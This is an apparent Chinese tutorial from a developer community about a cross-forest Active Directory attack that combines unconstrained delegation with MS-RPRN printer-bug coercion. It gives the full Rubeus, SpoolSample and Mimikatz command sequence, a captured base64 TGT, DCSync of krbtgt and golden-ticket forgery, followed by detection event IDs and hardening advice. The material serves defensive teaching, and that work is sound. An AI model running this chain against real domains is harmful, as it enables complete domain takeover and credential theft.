在 Active Directory（AD）多域林环境中，跨林信任常常被视为业务协作的桥梁，但同时也是攻击者横向渗透的隐蔽通道。当信任林中的某台服务器（尤其是域控制器）被配置为无约束委派（Unconstrained Delegation）时，其安全边界便暴露在极大的风险之下。攻击者一旦获得该主机权限，就能够利用 Kerberos 票据缓存机制窃取来自其他主机的身份凭据，实现从单一域向整个信任林的权限跃迁。而 MS-RPRN（Microsoft Print System Remote Protocol）中的 `RpcRemoteFindFirstPrinterChangeNotification(Ex)` 方法，则为攻击者提供了一种"强制身份认证"的绝佳触发器——只要目标域控开启了 Print Spooler 服务，就可以被强制向任意主机发起 Kerberos 认证请求。本篇文章聚焦于"无约束委派 + MS-RPRN"这一经典跨林攻击链，通过完整的实战演示，展示如何在获取一台配置了无约束委派的服务器后，一步步捕获信任林域控的 TGT，再通过 DCSync 抽取 krbtgt 哈希，最终伪造黄金票据获取信任林的最高权限；同时，文章末尾还将从蓝队视角给出针对此类攻击的检测与防御方案，帮助读者构建完整的攻防认知。

## 一、利用无约束委派和 MS-RPRN 获取信任林权限

### 1.1 攻击原理概述

假设在任意一个存在外部信任或森林信任关系的域林中，我们控制了一台已经配置了**无约束委派**的服务器。由于域控制器的机器账户默认开启无约束委派，因此可以利用 MS-RPRN 协议中的 `RpcRemoteFindFirstPrinterChangeNotification(Ex)` 方法，强制信任林的域控向我们控制的服务器发起身份认证请求，随后利用捕捉到的票据获取信任林任意用户的哈希，进而完全掌控目标林的权限。

该攻击链的核心思路可以概括为三步：**触发认证 → 捕获票据 → 权限提升**。

### 1.2 在已控机器上使用 Rubeus 监控身份认证请求

在已控制的服务器上运行 Rubeus，以监控模式持续捕获来自目标域控 `dc1$` 的身份认证请求，命令如下所示，执行效果如图 1-1 所示。

```powershell
Rubeus.exe monitor /interval:5 /filteruser:dc1$
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/d1221ff3b8d4655ca74a37a83be4aa15.jpg)

图 1-1　在已控制的机器上使用 Rubeus 监控身份认证请求

### 1.3 利用 MS-RPRN 触发信任域域控发起认证

使用 `SpoolSample`​ 工具调用 MS-RPRN 打印机漏洞，强制令信任域的域控制器 `dc1.htf.org`​ 向我们已控制的 `dc01.dm.org` 发起身份验证，命令如下，执行效果如图 1-2 所示。

```powershell
SpoolSample.exe dc1.htf.org dc01.dm.org
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/17b315b6e473d59f8bbe6cb578e09218.jpg)

图 1-2　强制信任域域控 dc1.htf.org 向 dc01.dm.org 发起身份验证

### 1.4 在已控主机上捕获到域控的认证请求

命令执行成功后，Rubeus 监控端会立即在 `dc01.dm.org`​ 上收到来自信任域域控 `dc1.htf.org` 机器账户的 Kerberos 认证请求，并输出对应的 TGT 票据（Base64 编码形式），如图 1-3 所示。

![](https://developer.qcloudimg.com/http-save/yehe-1277458/f4b10f6de111cb15542dd8ea85af556d.jpg)

图 1-3　在 dc01.dm.org 收到信任域 dc1.htf.org 机器账户的身份认证请求

### 1.5 清理并导入捕获到的 Ticket

```powershell
Rubeus.exe ptt /ticket:doIEzDCCBMigAwIBBaEDAgEWooID5DCCA+BhggPcMIID2KADAgEFoQkbB0hURi5PUkeiHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hURi5PUkejggOmMIIDoqADAgESoQMCAQKiggOUBIIDkOKdSJvKtyRSP0r3PvTQn3YvZ9WiqFlSZ4enuvcOIhG99sJAKPgy7zGsunHoxSS36EM0xV80HuwvCPprDuh/eMVqMS2zZ0KurT2oAh4VQ0rMSEjvFMAxrJ59P7Rj69G/4Rg9lbD9ktAG4JuRMgrklGeLoh0VqYPJGJw4aaQ4zp9xzFuqzAoLqlUnCAi6k+0N+qZRwhSGyowosnVB6L6tJE932Tp0PBsUpL9pZu+rPKKijf58FxrulVQ//0+LDqp+cHAjQfXoIzRIguNJjK+bnY6LzcJNa0hP9Qo1WNKKVsNr1kRNlY/myCf22pk4pgDHpvLh+hpm/WiUUWJWFN4cIoZ2rTwZXQwDjAldKX79jAy2i3NbOh/87U0KyPO7VQ3dKhYNX6aamOv+jsMA9G4DJ2vthzQNL9EnFdAdy4/+y9hqgnBkx56ftT/xvbyuE0SkTIRhS2JBrWip13Cu6HEzKbZr01hgm6ivYDBSapjd3QRdF+c0ueZrjo6mcUjei5iW+TE8pGrbdJ1772SCr/Ib2ToafhDbhI6HLI4pG74RL6tPMqZeyE5vZz6bRp74STdORQMczIMmJCc1NnCd7jRVphra2JippgftZBRcZM6dE0drulh7B0Ew72/joYHHiKVL+5mtEwiaLTtdnsmeCp4kmHTfvyQmgO1eXHBVexNq/UlpxuymESbRHEuFVtt69Two5sFTsGBY+yy0viiYywIUbDrmjKJjVl5BhJCrzifcu8Np2uUBUAnvltW8OSUCR816a1RBtR+Ygca/W/hB+4f9xgZ6vXlAlskoBnchYKyVecd2hh8WCwQSL7nPIZ59s137lmb2hncAvkCFZFxiK8rk4AMZMrzdXtkEa0z4tJFH+T+8I6BwwO/SY+6myESrxXKP2736GDYbY0B1aYGoVbiVQRiEZbCZUY64dQHODMdw51oy8E1qdVOHQAdzLzWqwIsCXjOjy/1z/bwrbdzNO+bVMl2l/snauysH3Kann9vCN437bU3ctqoXZoz775uJMEGZIskeMLY1/8+flvyP2np46y1sGQQaiec2KNZt7PkCDwlIg2K65OGixJFpuUeS093TGjYVHQlKsMSeYZt98pyxefxmBqRZfi6w1T3c/KZXUxncGzXh0XotyfREEDnN3VhXX821LHHJkTEHephZR5JEUjkZFh0H6R5S+grGPoF8cg/2Bfnj6eFd7IYjdmrtyqXxcqOB0zCB0KADAgEAooHIBIHFfYHCMIG/oIG8MIG5MIG2oCswKaADAgESoSIEIAXgVcAMhSmNbRBdNZ1dCtEpV9HaY9Rs8iPov3Kr15xcoQkbB0hURi5PUkeiETAPoAMCAQGhCDAGGwREQzEkowcDBQBgoQAApREYDzIwMjIwMzE2MTExMzUxWqYRGA8yMDIyMDMxNjIxMTM1MVqnERgPMjAyMjAzMTYyMTEzNTFaqAkbB0hURi5PUkepHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hURi5PUkc=
```

### 1.6 利用 DCSync 抽取目标林 krbtgt 哈希

票据导入内存后，使用 Mimikatz 的 `dcsync`​ 功能远程向 `htf.org`​ 域控制器请求同步 `krbtgt` 账户的凭据，命令如下，效果如图 1-4 所示。

```powershell
lsadump::dcsync /domain:htf.org /user:htf\krbtgt
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/4d8ebfb1e3684b05c2f0edbfb37d3140.jpg)

图 1-4　使用 DCSync 功能获取目标林中的 krbtgt 哈希

### 1.7 利用 krbtgt 哈希伪造黄金票据

拿到目标林的 `krbtgt`​ 哈希后，就可以在 Mimikatz 中调用 `kerberos::golden`​ 模块构造一张针对 `htf.org`​ 域的黄金票据（Golden Ticket），伪装成 `Administrator` 用户身份，命令如下，效果如图 1-5 所示。

```powershell
kerberos::golden /user:Administrator /domain:htf.org /sid:S-1-5-21-1847810731-2295479577-3182564570 /rc4:0e85be961dd96364217715bdc7eb95b0 /ptt
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/f7ca78b0d0eeb30767b0fb91994d1a29.jpg)

图 1-5　通过目标 krbtgt 构造黄金票据

### 1.8 权限验证：导入 TGT 前的访问对照

为了直观展示黄金票据的效果，先在导入高权限 TGT **之前**，尝试访问目标域控 `dc1.htf.org`​ 的 `C$` 共享，此时会因权限不足而被拒绝访问，命令如下，效果如图 1-6 所示。

```cmd
dir \\dc1.htf.org\c$
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/326bd011c9ad7ba14790fdc285c43f31.jpg)

图 1-6　导入高权限 TGT 之前访问目标域 C$ 被拒绝

### 1.9 权限验证：导入 TGT 后的访问结果

将 `/ptt`​ 生成的黄金票据成功注入内存后，再次以同样的方式访问目标域控 `dc1.htf.org`​ 的 CIFS 服务，即可以 `htf\Administrator`​ 的身份自由读取 `C$` 目录，标志着已经完全接管信任林的最高权限，如图 1-7 所示。

```cmd
dir \\dc1.htf.org\c$
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/32b6f548127d6d0e19195cdf43a23cea.jpg)

图 1-7　导入高权限 TGT 后成功访问 cifs/dc1

## 二、检测与防御：无约束委派及 MS-RPRN 攻击

### 2.1 检测 Rubeus 的使用

- **命令行参数监控**：基于进程创建日志（事件 ID 4688）对 `Rubeus.exe`​、`monitor`​、`ptt`​、`asktgt`​、`kerberoast` 等特征关键字进行匹配告警。

- **登录进程注册日志**：Rubeus 在调用 `LsaRegisterLogonProcess`​ 时会在安全日志中写入事件 ID **4611**，并将登录进程名注册为 `User32LogonProcesss`（注意末尾多出的 s），该值可作为高可信 IOC。

- **特权调用日志**：检查安全日志中的事件 ID **4673**（Sensitive Privilege Use），Rubeus 请求 `SeTcbPrivilege` 时会触发该日志。

### 2.2 检测 SpoolSample 的使用

SpoolSample 通过 MS-RPRN 协议触发远程认证，其在被强制认证的目标域控上会留下明显痕迹：重点关注安全日志事件 ID **5145**（详细文件共享审核），当发现某台**配置了无约束委派**的机器账户异常访问其他服务器的 `IPC$`​ 共享，尤其是频繁调用 `spoolss` 命名管道时，应立即排查是否存在打印机漏洞利用行为。

### 2.3 无约束委派及 MS-RPRN 攻击的防御建议

针对本篇文章所描述的攻击链，建议从以下几个方面进行加固：

1. **禁用跨信任的 Kerberos 委派**：在信任关系上启用"选择性身份验证"（Selective Authentication）与"禁用 TGT 委派"（`netdom trust <trustingDomain> /domain:<trustedDomain> /EnableTGTDelegation:No`），阻断跨林票据滥用。
2. **消除不必要的无约束委派**：对域内所有配置了 `TRUSTED_FOR_DELEGATION`​ 属性的账户进行盘点，非必要一律改为**约束委派（Constrained Delegation）** 或**基于资源的约束委派（RBCD）** ，并将高价值账户加入 `Protected Users`​ 组或标记为 `Account is sensitive and cannot be delegated`。
3. **关闭域控上的 Print Spooler 服务**：Print Spooler 是 MS-RPRN 攻击的先决条件，建议在所有域控上通过组策略禁用该服务，并对成员服务器按需最小化开启。
4. **强化 krbtgt 密码轮换**：定期（例如每 90 天）双次重置 krbtgt 密码，即使黄金票据已被制造，也能通过密码轮换使其快速失效。
5. **建立集中化审计与告警**：将上述检测项接入 SIEM，结合 UEBA 对"机器账户跨域访问 + 短时间大量 Kerberos 请求"等异常行为进行关联分析。

> ⚠️ **总结**：无约束委派与 MS-RPRN 的组合攻击之所以危险，在于它**几乎不依赖任何漏洞**，完全基于 AD 与 Kerberos 的合法机制。真正的防御思路并不是"堵漏洞"，而是"消除委派滥用面"——遵循最小权限原则，从架构层面切断攻击链，才是最根本的解决方案。


在 Active Directory（AD）多域林环境中，跨林信任常常被视为业务协作的桥梁，但同时也是攻击者横向渗透的隐蔽通道。当信任林中的某台服务器（尤其是域控制器）被配置为无约束委派（Unconstrained Delegation）时，其安全边界便暴露在极大的风险之下。攻击者一旦获得该主机权限，就能够利用 Kerberos 票据缓存机制窃取来自其他主机的身份凭据，实现从单一域向整个信任林的权

AD域攻防权威指南.八十三.利用无约束委派和MS-RPRN获取信任林权限

技术经理

安全

操作系统

网络与通信

本文深入分析Active Directory跨林攻击技术，重点讲解"无约束委派+MS-RPRN"组合攻击链，包括如何利用SpoolSample工具强制域控认证、捕获TGT票据、执行DCSync获取krbtgt哈希并伪造黄金票据。同时提供详细的蓝队防御方案，涵盖禁用跨林委派、关闭Print Spooler服务、强化krbtgt轮换等关键措施，帮助构建全面的AD安全防护体系。

身份验证

安全日志

服务器

2026上云采购 | AI焕新·智启新局

cadc

文章

问答

视频

教程

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云智能顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

EdgeOne AI 安全实战专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

聚焦“写作效率、视觉美观与运行性能”三方面进行全面升级，为您提供更高效、稳定的创作环境

社区富文本&Markdown编辑器全新改版上线，欢迎大家体验!

诚挚邀请您参与本次调研，分享您的真实使用感受与建议。您的反馈至关重要，感谢您的支持与参与！

社区新版编辑器体验调研

本文深入分析Active Directory跨林攻击技术，重点讲解"无约束委派+MS-RPRN"组合攻击链，包括如何利用SpoolSample工具强制域控认证、捕获TGT票据、执行DCSync获取krbtgt哈希并伪造黄金票据。同时提供详细的蓝队防御方案，涵盖禁用跨林委派、关闭Print Spooler服务、强化krb...

AD域攻防权威指南.八十三.利用无约束委派和MS-RPRN获取信任林权限-腾讯云开发者社区-腾讯云

AD域攻防权威指南.八十三.利用无约束委派和MS-RPRN获取信任林权限

AD域攻防权威指南.八十三.利用无约束委派和MS-RPRN获取信任林权限

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐